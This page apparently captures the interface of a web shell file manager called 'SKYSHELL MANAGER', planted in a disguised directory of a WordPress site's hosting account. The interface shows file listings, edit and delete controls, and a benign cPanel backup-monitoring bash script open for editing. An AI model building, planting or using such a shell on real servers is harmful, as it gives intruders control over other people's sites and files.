📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
besthyperbaric.com
/
wp-includesac411f
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📄
error_log
16832.17 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: backup_age.sh
readonly BACKUP_AGE_DATA="${BACKGROUND_DATA}/backup_age_check.data"; readonly BACKUP_ADVANCED_AGE="backup has been performed too long ago"; readonly CPBKP_LOG_LOW_DISK="Available disk space \([0-9]+ percent\) is too low. Backups will not run."; readonly CPBKP_LOG_NO_SPACE="No space left on device"; readonly CPBKP_OK="Daily backup is Ok"; readonly CPBKP_LOG_PARTIAL_FAIL="Final state is Backup::PartialFailure"; readonly CPBKP_LOG_FAIL="Backup::Failure"; readonly BACKUP_NO_LOGS="There are no backups logfiles"; readonly BACKUP_IN_PROGRESS="backup_in_progress"; readonly BACKUP_STARTED="backup_started"; readonly BACKUP_AGE_CHECK_ERRORS="${BACKGROUND_DATA}/backup_age_check.errors"; readonly BACKUP_SCHEDULED="backup scheduled for today"; readonly CPBKP_DISABLED="BACKUPENABLE: 'no'" backup_schedule_check(){ local bkp_conf="/var/cpanel/backups/config"; local daily_days=$(grep BACKUPDAYS $bkp_conf); local weekly_days=$(grep BACKUP_WEEKLY_DAY $bkp_conf); local monthly_days="$(grep BACKUP_MONTHLY_DATES $bkp_conf | cut -d: -f2 | tr ',' ' ')"; local week_day=$(date +%w); local month_day=$(date +%e); if [[ $daily_days =~ $week_day || $weekly_days =~ $week_day ]]; then return 1; # Skip backup forcing fi; for mday in $monthly_days; do if [[ $mday =~ $month_day ]]; then return 1; # Skip backup forcing fi; done; return 0; # The new backup creation can be forced } start_bkp() { # Fix to: # local backup_force_msg=$(/usr/local/cpanel/bin/backup --force 2>&1); # local backup_force_return_code=$?; # local bkp_start_fail_low_disk="Available disk space \(\d+ percent\) is too low\."; # if [[ $backup_status -ne 0 ]]; then # if $(grep -qP "$p" <<< "$backup_force_msg"); then # # Failed to start the new backup process # backup_age_check_data[service_status]=$SERVICE_DOWN; # backup_age_check_data[backup_status]=$(base64 -w0 <<< "$backup_force_msg"); /usr/local/cpanel/bin/backup --force 1>/dev/null 2>&1; backup_status=$?; last_bkp_log=$(find /usr/local/cpanel/logs/cpbackup/ -type f -printf "%T@ %p\n" | sort -n | tail -1 | cut -d' ' -f2); if [[ $backup_status -ne 0 ]]; then # Failed to start the new backup process backup_age_check_data[service_status]=$SERVICE_DOWN; if [[ -z $last_bkp_log ]]; then backup_age_check_data[backup_status]=$(base64 -w0 <<< "$BACKUP_NO_LOGS"); else # Provide a path to the last backup log backup_age_check_data[backup_status]=$(base64 -w0 <<< "$last_bkp_log"); fi; else backup_age_check_data[service_status]=$BACKUP_STARTED; backup_age_check_data[auto_fix_status]=$AUTO_FIX_NOPE; backup_age_check_data[log_file]="$last_bkp_log"; fi; } force_new_bkp(){ local backup_status; backup_schedule_check; backup_status=$?; # Start a new backup creation if there are no backup logs if [[ -z $last_bkp_log && backup_status -eq 0 ]]; then start_bkp; # Manual check required if the last backup has failed for unknown reasons elif [[ -n $(grep -oE -e "$CPBKP_LOG_LOW_DISK" -e "$CPBKP_LOG_FAIL" -e "$CPBKP_LOG_PARTIAL_FAIL" -e "$CPBKP_LOG_NO_SPACE" "$last_bkp_log" 2>/dev/null) ]]; then backup_age_check_data[backup_status]=$(tail -20 "$last_bkp_log" | base64 -w0); backup_age_check_data[service_status]=$SERVICE_DOWN; elif [[ "$(ps aux | grep -e pkgacct -e "/bin/backup" | grep -e "/backup/" -e "backup --force")" ]]; then # The backup creation is already in progress backup_age_check_data[service_status]=$BACKUP_IN_PROGRESS; backup_age_check_data[auto_fix_status]=$AUTO_FIX_NOPE; backup_age_check_data[log_file]="$last_bkp_log"; elif [[ $backup_status -ne 0 ]]; then backup_age_check_data[service_status]=$SERVICE_ACTIVE; backup_age_check_data[backup_status]=$(base64 -w0 <<< "$BACKUP_SCHEDULED"); else start_bkp; fi; } backup_age_check_main(){ declare -A backup_age_check_data; backup_age_check_data[nagios_data]="$(/usr/local/nagios/plugins/check_newbackup -v)"; local last_bkp_log=$(find /usr/local/cpanel/logs/cpbackup/ -type f -printf "%T@ %p\n" | sort -n | tail -1 | cut -d' ' -f2); if [[ $(grep "$CPBKP_DISABLED" /var/cpanel/backups/config) ]]; then backup_age_check_data[service_status]=$SERVICE_DISABLED; # Temporarily disabled, to prevent automatic acknowledge, such cases should be checked manually, in case # backups were disabled by a mistake. # backup_age_check_data[auto_fix_status]=$AUTO_FIX_NOPE; elif [[ ${backup_age_check_data[nagios_data]} =~ $CPBKP_OK && -z $(grep -oP "$CPBKP_LOG_LOW_DISK" "$last_bkp_log") ]]; then backup_age_check_data[service_status]=$SERVICE_ACTIVE; elif [[ ${backup_age_check_data[nagios_data]} =~ $BACKUP_ADVANCED_AGE || ${backup_age_check_data[nagios_data]} =~ $BACKUP_NO_LOGS ]]; then force_new_bkp; else # Provide some context as to why backup has failed backup_age_check_data[backup_status]=$(tail -20 "$last_bkp_log" | base64 -w0); backup_age_check_data[service_status]=$SERVICE_DOWN; fi; unset backup_age_check_data[script_status]; bash_arr_to_json backup_age_check_data ${!backup_age_check_data[@]} > "$BACKUP_AGE_DATA"; } backup_age_check(){ run_check_in_background "backup_age_check_main" "$BACKUP_AGE_DATA" "$BACKUP_AGE_CHECK_ERRORS"\ "${CHECK_LOCKS_DIR}/${FUNCNAME}.lock"; }
Save